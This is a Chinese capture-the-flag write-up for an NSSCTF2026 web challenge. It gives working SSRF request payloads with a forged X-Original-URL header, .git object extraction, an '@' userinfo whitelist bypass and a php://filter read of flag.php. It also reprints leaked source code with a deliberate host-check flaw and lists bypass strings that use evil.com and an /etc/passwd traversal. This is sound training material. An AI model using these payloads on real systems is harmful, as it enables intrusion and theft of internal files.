跳到主要内容

[NSSCTF2026]flag点击就送_吗 Writeup

94 浏览

flag点击就送_吗

考点:SSRF + 请求头伪造 / 本地校验绕过 + Git历史源码泄露 + Zlib识别和解压 + 内网Host白名单@绕过 + php://filter伪协议

第一步:查看页面源代码

这是一个类似于拼多多砍一刀的页面,点击砍一刀启动转盘抽奖,如果抽中了Flag能量就能增加Flag能量,达到100%就可以领取flag。但是根据拼多多的特性(bushi),如果我们一直点击砍一刀,Flag能量只会无限接近100%,但是永远不会达到。

按F12,查看main.js这份源码(基础操作,但是在页面中也有一处提示:有个解锁web小知识-观察页面,也许能发现新线索),根据这段源码也能看出来。

// FLAG 能量带来的进度阶梯:40 → 80 → 90 → 95 → … → 99 → 99.9 → … → 99.9999 const PROGRESS_LADDER = [80, 90, 95, 96, 97, 98, 99, 99.9, 99.99, 99.999, 99.9999]; const START_PROGRESS = 40; const FINAL_PROGRESS = 99.9999; ​

显然没有给靠砍一刀拿flag的可能性。

接着打开(索引)这份源码,发现一行注释:

<!-- TODO: 旧的运营入口待迁移到统一门户 /appeal-backend/ --> ​

访问/appeal-backend/,发现进入砍价申诉后台。

继续查看appeal-backend/这份源代码,发现一块关键信息:

// 出题环境中的预览接口:保留完整请求参数与请求头,以便 Network 面板能够看到。 // 内部接口仅限本地访问,运营端约定携带 X-Original-URL 标识来源。 // 此页面本身没有代理逻辑,也不实现任何安全漏洞。 try { const response = await fetch('/preview-api/preview?url=' + encodeURIComponent('http://appeal-backend:8080/api/appeals'), { headers: { 'X-Original-URL': 'localhost' } }); ​

内部接口仅限本地访问:提示本题考查SSRF。

运营端约定携带 X-Original-URL 标识来源:需要伪造请求头X-Original-URL,值为下面的localhost。实测127.0.0.1也可以,只要能装成服务器自己就行了。

'/preview-api/preview?url=':公网上的代理接口,也就是SSRF的入口。

'http://appeal-backend:8080/api/appeals':目标内网地址,构造GET请求时须进行URL编码。

为什么这题一定要进行URL编码?

因为这里的URL是嵌套的,有内外两层。内层URL自己就包含? & = : /,这些字符在外层URL里都有特殊含义。不编码,外层解析器会把它拆坏。

第二步:伪造请求头进行一次访问

打开Yakit,打开Web Fuzzer工具,点击构造请求,将当前url(如http://node10.anna.nssnode.cn:28767/appeal-backend/,每次启动靶机的端口号不一样)粘贴进去,在生成好的请求里加一行X-Original-URL:localhost(或127.0.0.1)(注意不要和上一行之间有空行,不然就被当成请求体了),并将第一行的GET请求目标改成:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2Fapi%2Fappeals ​

点击发送,响应结果如下:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 27 Oct 2026 11:56:05 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Content-Length: 35 {"status":"running","total":12608} ​

说明SSRF成功。

第三步:尝试git历史泄露是否存在

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Fconfig ​

响应结果:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 27 Oct 2026 11:59:56 GMT Content-Type: application/octet-stream Connection: keep-alive Content-Length: 133 [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [user] name = ops email = ops@internal ​

说明git历史存在泄露。

第四步:读取当前分支

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2FHEAD ​

响应结果:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 27 Oct 2026 12:03:09 GMT Content-Type: application/octet-stream Connection: keep-alive Content-Length: 23 ref: refs/heads/master ​

当前分支:refs/heads/master,这是Git源码泄露链里的第二个指针(第一个指针是HEAD)。

第五步:访问当前分支refs/heads/master

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Frefs%2Fheads%2Fmaster ​

(这里靶场出问题了,所以重开了一个,端口可能不一样了)

响应结果:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 27 Oct 2026 12:16:24 GMT Content-Type: application/octet-stream Connection: keep-alive Content-Length: 41 6ebc6c410875e4ff89651e76f413ba4d84cc8227 ​

返回了一串Git的commit hash,这是Git源码泄露链里的第三个指针。

Git的commit hash(提交对象ID)

它是一个SHA-1值,代表 master 分支当前指向的那个 commit,是Git用来唯一标识一个提交的ID。

Git里每个commit对象包含:

tree:<目录树 hash>
parent:<上一个 commit hash>
author:<作者>
committer:<提交者>
message:<提交说明>

所以它指向:

一个提交版本
├─ 目录树 tree <hash>
├─ 上一个提交 parent <hash>
└─ 提交信息 feat: internal admin path

第六步:查看这些commit对象

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Fobjects%2F6e%2Fbc6c410875e4ff89651e76f413ba4d84cc8227 ​

为什么路径要拆成 6e/bc6c...?

Git对象存储路径规则:

.git/objects/<hash前2位>/<hash后38位> ​

这次响应体全部都是乱码,推测是做了Zlib压缩。在Yakit里选择响应部分上方的HEX,首先找到了Zlib的十六进制78 01(因为前面都是没有进行Zlib压缩的http请求头。补充:http的十六进制48 54 54 50),复制这个开头及以后的全部内容到CyberChef,先后放入From Hex和Zlib Inflate,解压缩结果:

commit 210.tree 30e8bcaf4301105578d7a8599144239da2b00e3a parent 7d1958e863ce7349a34bbe910230ac3db011c95f author ops <ops@internal> 1792729839 +0000 committer ops <ops@internal> 1792729839 +0000 feat: internal admin path ​

注意:这里的.(如commit 210.tree ...)实际上是空字符NUL。210和tree不是一个整体。

需要关注的是第一行的30e8bcaf4301105578d7a8599144239da2b00e3a,这就是目录树tree的ID,是Git源码泄露链里的第四个指针。

第七步:查看目录树

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Fobjects%2F30%2Fe8bcaf4301105578d7a8599144239da2b00e3a ​

(这里靶场又出问题了,所以再次重开了)

这次响应体依然全部都是乱码。同样找到Zlib的十六进制78 01,复制这个开头及以后的全部内容到CyberChef,解压缩结果:

tree 74.100644 config.py.Ù1 µz\.o.wÚt.£fÿkÛN.100644 server.py..¼.Érî..4à.¡.~..&.ë. ​

这次解压缩结果里竟然也嵌有乱码。不过我们已经可以看到目录树下有两个python文件:config.py和server.py。

第八步:拿到两个文件的hash

开头的tree 74是 Git 对象头,表示“tree类型,内容长度 74 字节”。

Git tree的格式是:

<mode> <filename>\0<20 字节 SHA1> ​

所以两个文件名后跟的实际上是一个空字符和20字节的SHA1 hash原始字节。只要在已有的From Hex和Zlib Inflate后再加一个To Hex,然后从后往前找到两处空字符00,把后面的内容分别截取出来并手动删去空格:

(00)d93120b57a5c186f7f77da7402a366ff6bdb4e1c ​
(00)06bc1fc972ee1b1e34e09da1927e8d03269beb16 ​

注意:截取config.py的hash的时候,要确保只有20字节,不要往后多截取了,往后是tree里下一条文件记录的开头"100644 server.py";并且有时候要小心20字节SHA1内部也可能出现00。

第九步:拿Python源码获取提示

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Fobjects%2Fd9%2F3120b57a5c186f7f77da7402a366ff6bdb4e1c ​

响应体解压缩结果:

blob 118.# 砍价申诉后台配置 APPEAL_LIMIT = 3 INTERNAL_ADMIN_PATH = '/appeal-backend' # 投诉文件系统现已迁移 ​

这是config.py的文件内容,只有管理路径和数量限制,几乎没什么有用信息。

那么核心线索就在server.py里了。地址改成:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%2F%2Egit%2Fobjects%2F06%2Fbc1fc972ee1b1e34e09da1927e8d03269beb16 ​

然后从响应体HEX的长度就可以看出来了,内容相当丰富。响应体解压缩结果:

blob 4586.from flask import Flask, request, jsonify, send_from_directory from urllib.parse import urlparse import requests import os app = Flask(__name__) ALLOWED_HOSTS = {"appeal-backend:8080"} ALLOWED_FILE_DIRS = ["/app"] # 实际可达的目标主机硬白名单:白名单子串判断的 @ 绕过是预期考点, # 但绕过后的有效目标必须仍在内网,防止 SSRF 打到任意外网主机 ALLOWED_TARGET_HOSTS = {"appeal-backend", "complaint-viewer"} ALLOWED_SCHEMES = {"http", "https"} # 容器整合部署:complaint-viewer 与申诉后台在同一容器,viewer 实际监听本机 8081 VIEWER_INTERNAL = "http://127.0.0.1:8081" def is_local_request(): """运营内网才能调用的接口:校验 X-Original-URL 头。 注意:单容器部署下 nginx 反代的 remote_addr 恒为 127.0.0.1, 因此不能用 remote_addr 做回退判断,只认请求头。 """ original_url = request.headers.get("X-Original-URL", "") return original_url.strip().lower() in ("localhost", "127.0.0.1") def resolve_url(url): """complaint-viewer 的实际服务端口在本地 8081,请求前做内部映射。 基于 urlparse 精确解析有效目标(scheme + hostname),不采用子串判断, 防止通过 @ userinfo / query 夹带等方式 SSRF 到任意外网主机; 302 跳转由 allow_redirects=False 兜底。 """ parsed = urlparse(url) if parsed.scheme not in ALLOWED_SCHEMES: return None if parsed.hostname not in ALLOWED_TARGET_HOSTS: return None if parsed.hostname == "complaint-viewer": target = VIEWER_INTERNAL + parsed.path if parsed.query: target += "?" + parsed.query return target return url @app.route("/") def index(): return """ <html><body> <h1>砍价申诉后台 v2.3</h1> <p>内部系统,仅限运营使用</p> <ul><li><a href="/api/appeals">申诉列表</a></li></ul> </body></html> """ @app.route("/api/appeals") def appeals(): return jsonify({"total": 12608, "status": "running"}) @app.route("/robots.txt") def robots(): return """User-agent: * Disallow: /.git/ Disallow: /config.py """ @app.route("/config.py") def config_py(): with open("/app/config.py", "r", encoding="utf-8") as f: content = f.read() return content, 200, {"Content-Type": "text/plain; charset=utf-8"} @app.route("/.git/<path:filename>") def git_files(filename): git_dir = "/app/.git" full_path = os.path.normpath(os.path.join(git_dir, filename)) if not full_path.startswith(git_dir): return "forbidden", 403 if not os.path.isfile(full_path): return "not found", 404 return send_from_directory(git_dir, filename, mimetype="application/octet-stream") @app.route("/preview") def preview(): if not is_local_request(): return "Access denied: this endpoint is for internal (localhost) use only.", 403 url = request.args.get("url", "") if not url: return "missing url", 400 if url.startswith("file://"): path = os.path.normpath(url[7:]) # 严格前缀校验(normpath 防止 /app/../ 穿越到 /var/www 等目录) if not any(path == d or path.startswith(d.rstrip("/") + "/") for d in ALLOWED_FILE_DIRS): return f"file {path} not allowed", 403 if not os.path.isfile(path): return f"file {path} not found", 404 with open(path, "rb") as f: content = f.read() return content, 200, {"Content-Type": "application/octet-stream"} # 白名单校验:用 in 判断字符串包含(有 @ 绕过漏洞) if not any(host in url for host in ALLOWED_HOSTS): return "host not allowed. The service is under maintenance - for now, local staff can only go through appeal-backend:8080.", 403 real_url = resolve_url(url) if real_url is None: # 有效目标不在内网白名单内(防任意 SSRF),对外与白名单失败返回同样提示 return "host not allowed. The service is under maintenance - for now, local staff can only go through appeal-backend:8080.", 403 try: r = requests.get(real_url, timeout=10, allow_redirects=False) if "/.git/" in url: return r.content, 200, {"Content-Type": "application/octet-stream"} return r.text[:5000] except Exception: # 错误信息脱敏:不区分 timeout/refused/DNS,消除内网探测 oracle return "error: request failed", 500 if __name__ == "__main__": app.run(host="127.0.0.1", port=8080) ​

重点看有注释的部分。截取到几个关键线索:

ALLOWED_TARGET_HOSTS = {"appeal-backend", "complaint-viewer"} ​

除了当前后台appeal-backend,还有另外一个内部服务complaint-viewer。

容器整合部署:complaint-viewer 与申诉后台在同一容器,viewer 实际监听本机 8081 VIEWER_INTERNAL = "http://127.0.0.1:8081" ··· complaint-viewer 的实际服务端口在本地 8081,请求前做内部映射 ​

字面意思。即当我们访问complaint-viewer这个服务的时候,相当于访问127.0.0.1:8081这个地址。(没错吧)

# 白名单校验:用 in 判断字符串包含(有 @ 绕过漏洞) if not any(host in url for host in ALLOWED_HOSTS): return "host not allowed. The service is under maintenance - for now, local staff can only go through appeal-backend:8080.", 403 ​

这里明示了内网存在@绕过漏洞。

注意这个白名单校验是用in判断整个URL字符串,不判断hostname。所以只要字符串里包含appeal-backend:8080就能绕过这一道检查。服务器后端不看这个字符串出现在host,userinfo,query,path还是fragment,所以放在任意位置都能通过。

urlparse拿到的hostname是complaint-viewer,依然可以过 resolve_url 的允许列表,最后被映射到http://127.0.0.1:8081,打到内网目标。

hostname

URL 里的主机名。

urlparse

Python标准库urllib.parse里的函数:

from urllib.parse import urlparse p = urlparse("http://complaint-viewer:8080/path?file=1") ​

作用是拆分url。

英文 中文名 例子 说明
scheme 协议 / 协议方案 https 用哪种协议访问
hostname 主机名 www.example.com 真正的主机/域名,不含端口
port 端口 8080 可选,默认http 80、https 443
path 路径 /a/b 服务器上的资源路径
query 查询字符串 / 查询参数 id=1&name=x ? 后面的部分
fragment 片段 / 锚点 top # 后面的部分,通常不发给服务器
netloc 网络位置 / 授权部分 user:pass@www.example.com:8080 // 后面到 / 前面的整段
userinfo 用户信息 user:pass 用户名和密码,常被用来做 URL 绕过

第十步:@绕过host白名单访问complaint-viewer

(这里开始是隔几天回来改的,又重开了个靶场)

方法一(预期解):@绕过

URL可以写成:

scheme://userinfo@host/path ​

在这道题中,scheme = http,userinfo = appeal-backend:8080,host = complaint-viewer,path就是根目录/。

http://appeal-backend:8080@complaint-viewer/ ​

字符串in检查看到:"appeal-backend:8080" in url,通过;

urlparse(url).hostname看到:complaint-viewer在ALLOWED_TARGET_HOSTS里,通过。

URL编码后的完整请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal%2Dbackend%3A8080%40complaint%2Dviewer%2F ​

响应结果:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 29 Oct 2026 12:17:28 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Content-Length: 469 <h1>内部投诉文件浏览平台</h1> <p>运营人员请点击附件查看详情:</p> <ul> <li><a href="?file=uploads/complaint_001.txt">complaint_001.txt</a> - 用户反馈:砍价进度卡在 99.9999%</li> <li><a href="?file=uploads/complaint_002.txt">complaint_002.txt</a> - 用户反馈:邀请好友后进度不更新</li> <li><a href="?file=uploads/complaint_003.txt">complaint_003.txt</a> - 用户反馈:转盘一直转到"再来一次"</li> </ul> ​

方法二:query夹带

其实和第一种方法原理本质上是一样的。

请求目标:

/preview-api/preview?url=http%3A%2F%2Fcomplaint-viewer%2F%3Fappeal-backend%3A8080 ​

响应结果同上。

第十一步:php://filter伪协议泄露flag.php源代码

请求目标:

/preview-api/preview?url=http%3A%2F%2Fappeal-backend%3A8080%40complaint-viewer%2F%3Ffile%3Dphp%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php ​

响应结果:

HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 29 Oct 2026 12:27:43 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Content-Length: 88 PD9waHAKJGZsYWcgPSAiTlNTQ1RGezEwMGY4NmI4LWIzNzktNGU1Yy1iYjQ3LTRiYTUzMWI0NjYyMX0iOwo/Pgo= ​

Base64解码得:

<?php $flag = "NSSCTF{100f86b8-b379-4e5c-bb47-4ba531b46621}"; ?> ​

得到flag!

附录:源码server.py里被允许或拦截的其他绕过方式

允许的:

方式 构造 为什么
query 夹带 http://complaint-viewer/?appeal-backend:8080 字符串包含,hostname 是 complaint-viewer
@ userinfo http://appeal-backend:8080@complaint-viewer/ 字符串包含,hostname 是 complaint-viewer
@ + query http://appeal-backend:8080@complaint-viewer/?file=... 同时满足两层检查
fragment 夹带 http://complaint-viewer/#appeal-backend:8080 字符串包含;fragment 不发给服务器
path 夹带 http://complaint-viewer/appeal-backend:8080/ 字符串包含,hostname 仍是 complaint-viewer

注意:1.用http://appeal-backend:8080@complaint-viewer/?file=flag.php读flag是不行的。从最后得到的完整PHP代码来看,该文件执行后仅对变量$flag赋值,并不会显示flag。所以响应结果只能看见响应头,响应体是空的。

2.path 夹带虽然能过检查,但会把/appeal-backend:8080/当成viewer的路径,容易404,不如query/@好用。实测响应结果确实404。

拦截的:

方式 构造 被什么拦
外部 host +@ http://appeal-backend:8080@evil.com/ urlparse.hostname = evil.com,不在白名单
外部 host + query http://evil.com/?appeal-backend:8080 hostname 是 evil.com
外部 host + fragment http://evil.com/#appeal-backend:8080 hostname 是 evil.com
直接打 127.0.0.1 http://appeal-backend:8080@127.0.0.1/ hostname127.0.0.1 不在 {"appeal-backend","complaint-viewer"}
302 跳转 viewer 返回Location: http://evil.com allow_redirects=False
file 读 /etc/passwd file:///app/../etc/passwd normpath + /app 前缀校验
伪造X-Forwarded-For 加X-Forwarded-For: 127.0.0.1 代码只认X-Original-URL
X-Original-URL 非本地值 X-Original-URL: http://localhost 只接受localhost / 127.0.0.1

总结:被拦的是@/query指向外部host、302跳转、file越权、伪造其他头。